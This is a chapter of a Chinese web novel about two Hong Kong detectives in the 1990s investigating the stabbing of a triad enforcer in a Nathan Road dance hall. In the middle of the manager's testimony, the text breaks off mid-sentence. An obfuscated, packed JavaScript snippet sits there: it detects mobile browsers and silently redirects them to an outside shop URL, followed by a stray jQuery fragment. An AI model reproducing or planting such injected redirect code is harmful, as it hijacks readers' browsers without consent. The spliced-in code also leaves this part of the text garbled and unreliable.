103. 舞厅血案

作品:《香江女警探[九零]

    九十年代的香江,入夜的夜晚总笼罩着一层浓得化不开的迷离氛围。


    弥敦道两侧的霓虹灯牌层层叠叠地挤在高矮不一的楼宇之间,红的、粉的、蓝的各色光芒交织成一片朦胧而暧昧的雾气,将整条街道的柏油路面映照出一种诡异而迷人的亮色。


    偶尔有老式的出租车鸣着刺耳的喇叭呼啸而过,车轮碾过路面的积水洼,溅起一串串混着尘埃的水珠。


    这些水珠在霓虹的映照下短暂闪烁,随即落下,与街边茶餐厅飘出的菠萝油甜香,以及斜对面“夜色”舞厅隐约泄出的强劲迪斯科节拍交织在一起,构成这座城市特有的、既世俗又躁动的夜晚气息。


    晚风轻轻吹过,带来一丝若有若无的龙舌兰酒香,混合着女人身上廉价香水的味道,像一层若隐若现的薄纱,温柔而又略带迷离地覆盖着这条仿佛永远不知疲倦的街道。


    “夜色”舞厅隐匿于弥敦道中段一栋旧楼的第三层,门面并不张扬,内部也称不上顶级奢华,却因其强劲的荷东金曲、震耳欲聋的低音鼓点,以及吧台中调得既烈又甜的鸡尾酒,成为许多年轻男女聚集的热门场所。


    更重要的是,这里也是道上各方势力暗中觊觎的一处利益点——东兴社的赵仕凯,便是倚仗社团的背景,揽下了这家舞厅的看场事务。


    赵仕凯身材高大魁梧,左臂纹着一条张扬的过肩龙,平日里在这里几乎是横着走路,收保护费、驱逐闹事客人,没少与人结怨。


    舞厅的陈经理每次见到他,都得赔着笑脸递烟问候,生怕稍有怠慢,便可能引发一场砸场风波。


    然而今晚的“夜色”却一反往常的喧闹。刚过十点,这本该是舞池中最热闹、男女相拥随着音乐尽情摇摆的黄金时段,此时舞厅门口却被一圈身穿藏青色制服的警察围住。


    黄黑相间的警戒线将众多好奇围观的路人拦在外面,不少人踮起脚尖向里张望,交头接耳的议论声在晚风中断断续续地飘散,言语间透着一丝不安与惶恐。


    “听说里面死人了!”


    “好像是东兴的赵仕凯,胸口被人捅了一刀!”


    “啧,他平时得罪的人可不少……”


    ......


    舞厅门口的霓虹招牌仍在不知疲倦地闪烁,红底白字的“夜色”二字在夜幕中格外刺眼,那红色灯光恍惚间竟如鲜血一般,映得人心中发慌。


    “陆督察,苏警官,请进。”


    守在门口的年轻警员一见陆振霆与苏晴赶到,立即侧身让出通道,语气里带着明显的敬重。


    他是刚调来重案组的新人,早已听闻这对搭档的威名——陆振霆思维缜密、行事果断,屡破社团相关的大案要案;苏晴则心思细腻,尤其擅长现场痕迹勘察与嫌疑人心理侧写。二人联手侦办案件,几乎从无失手。


    陆振霆微微颔首,步伐沉稳地向内走去。他身着深色便装,黑色衬衫的袖口随意挽至小臂,露出一段结实的手臂和腕上那块老旧却精准的机械表,表盘上的指针在霓虹灯光照射下泛着冷冽的光泽。


    他身形挺拔、眉目深邃,下颌线紧绷,眼中藏着多年重案组刑侦工作磨炼出的锐利光芒。手中夹着一本黑色笔记本,整个人透着一股不容置疑的权威气场。作为警署重案组的督察,他在香江警队中颇具声望,道上的人见了他,多半也要收敛几分。


    跟在他身后的苏晴,则穿着一件简洁的白色衬衫与卡其色长裤,长发利落地束在脑后,露出光洁的额头与纤细的脖颈。


    她面容清秀,鼻梁挺拔,眉宇间却透着一股不逊于男性的飒爽干练。衬衫的领口严谨地扣紧,但袖口同样卷起,露出一小截白皙的手臂,指尖已经戴好一双白色的乳胶手套——这是她一贯的工作习惯,无论走到哪里,总是先做好保护现场的准备。


    作为重案组中为数不多的女性刑侦警员,她与陆振霆搭档的这段时间以来,破获了多起棘手案件,彼此之间默契十足,往往只需一个眼神便能会意。


    一踏入舞厅,混杂的气息立刻扑面而来。浓烈的烟味、酒精的余味、残留的香水气息,以及隐约可辨的、与周遭仍在自动播放的迪斯科音乐极不协调的淡淡血腥气。


    舞厅内的客人已被基本疏散,只剩下几个惊魂未定的工作人员蜷缩在吧台角落,低声交谈着什么。


    几名取证警员正在大厅内有序地开展工作,相机闪光灯不时亮起,照亮空气中漂浮的微尘,那些尘埃在光柱中无助地翻滚,如同迷失方向的幽灵。


    舞池的地板上还留着几处凌乱的脚印,吧台上的玻璃杯东倒西歪,一瓶未喝完的威士忌滚落在地,琥珀色的酒液正沿着地板的缝隙缓缓渗入地毯中。


    舞厅经理是一位年约四十的中年男子,姓陈。他身穿熨帖的西装,头发却有些凌乱,额上布满细密的汗珠,双手不自觉地反复互搓,仿佛这样能搓去内心的恐慌。


    一见陆振霆与苏晴步入,他急忙快步迎上前,声音止不住地颤抖:“陆督察,苏警官,你们可算来了……你们可算来了,这、这事儿也太吓人了……我在这舞厅干了整整十年,从开业到现在什么场面没见过,可还从来没遇到过这么骇人听闻的事情……”


    陈经理的声音发颤,一边说一边用颤抖的手擦拭额头上不断渗出的冷汗,脸色苍白得像是被抽干了血。


    陆振霆停下脚步,目光如炬般扫视着空旷而凌乱的大厅,霓虹灯还在不知疲倦地旋转闪烁,最终他的视线定格在陈经理惶恐不安的脸上。


    他的眼神沉静得像一潭深不见底的湖水,却透着一种几乎能穿透人心的锐利,看得陈经理脊背发凉,不自觉地往后退了半步。


    “把具体情况说清楚,死者身份、发现地点、具体时间,一个细节都别漏。”


    陆振霆的语气异常平静,却带着一股不容置疑的威严,声音虽然不高,却清晰地压过了舞厅里仍在喧嚣的迪斯科音乐。


    陈经理艰难地咽了口唾沫,喉结剧烈地滚动了一下,才用干涩得如同砂纸摩擦的嗓音开口:“死者是赵仕凯,是东兴社的人,平时就在我们这儿负责看场子……大概半小时前,刚好十点整,服务生阿明像往常一样去VIP包间送酒,就是赵仕凯常待的那个八号包间。”


    “他一推开门,就看见人直接躺倒在沙发上,胸口正正插着一把匕首,血……血流得满地都是,把整个地毯都染红了,那股血腥气冲得人头晕


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145455|192835||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。阿明当场就吓懵了,手里的酒瓶‘哐当’一声砸在地上,连滚带爬地尖叫着冲出来喊人。”


    “我赶紧跑过去一看,赵仕凯的眼睛还死死睁着,可已经没气了……我、我自己都手忙脚乱,但还是立刻就报了警……”


    他边说边用发抖的手指指向舞厅深处那条昏暗的走廊,声音越来越低,眼神里写满了惊惧。


    “赵仕凯这人……脾气爆,仗着自己是社团的人,平时嚣张惯了,在舞厅里没少得罪人。不管是客人还是我们自己的员工,稍微不顺他的心,他就破口大骂、砸东西闹事,大家都敢怒不敢言……”


    “就在昨晚,他还跟洪兴社的那帮人在包间里大吵了一架,动静特别大,摔了不少酒杯和烟灰缸,玻璃碎了一地,当时好多人都听见了。谁想得到……这才隔了一夜,就闹出这种人命关天的大事……”


    “洪兴社的人?”


    陆振霆眉头骤然紧锁,指尖在黑色笔记本上迅速而有力地记下关键词。


    他的字迹凌厉而清晰,每一个笔画都带着一股冷峻的决断力。


    “冲突具体是什么起因?对方带头的是谁,现在人在哪里?”


    “是洪兴的阿彪,也算是个小头目,手下常跟着七八个弟兄。”


    陈经理长长叹了口气,脸上挤满了无奈和疲惫。


    “大概是昨晚八点多钟,阿彪带着几个兄弟来舞厅玩,在吧台那边和赵仕凯的手下不小心撞了一下。赵仕凯的人手里正端着酒,这一撞酒全泼在赵仕凯新买的那件真丝衬衫上。”


    “赵仕凯本来就是个一点就炸的脾气,当场就火了,指着阿彪的鼻子破口大骂,阿彪也是道上混的,哪忍得下这口气,两人立马就吵得不可开交。”


    “后来他们干脆带人进了八号包间,关起门来吵了将近一个钟头,里面乒乒乓乓响个不停,像是在动手,还不断传出砸东西的声响。我们谁都不敢进去劝,这帮人都是刀口上混的,哪个我们都得罪不起啊……”


    他稍微停顿了一下,又压低声音补充道:“最后是阿彪他们先出来的,走的时候一个个脸色铁青,阿彪还狠狠踹了一脚包间门,骂咧咧地走了。”


    “赵仕凯倒一直没露面,就待在包间里没出来,直到今天晚上出事……至于阿彪他们现在在哪儿,我是真不知道,自打昨晚离开后就再没见他们来过。”


    陆振霆没再继续追问,只是朝身旁的苏晴递了一个眼神。


    苏晴立刻会意,两人并肩朝着舞厅深处那条光线幽暗的走廊走去。


    走廊里的壁纸是复古花纹的,但不少地方已经泛黄卷边,斑驳的墙面隐约可见。


    地上铺着的暗红色地毯软厚而陈旧,踩上去几乎听不见脚步声,只有两人的影子在廊灯下拉长,气氛压抑得让人喘不过气。


    走廊两侧的包间门都紧闭着,铜制的号码牌从一号排到十号。


    八号包间就在最尽头,门口守着两名警员,见到陆振霆与苏晴走近,无声地将门推开。


    门刚一打开,一股浓重得令人作呕的血腥味就混杂着酒精和残留的香水气息扑面而来。


    陆振霆与苏晴对视一眼,神色凝重地迈入了现场。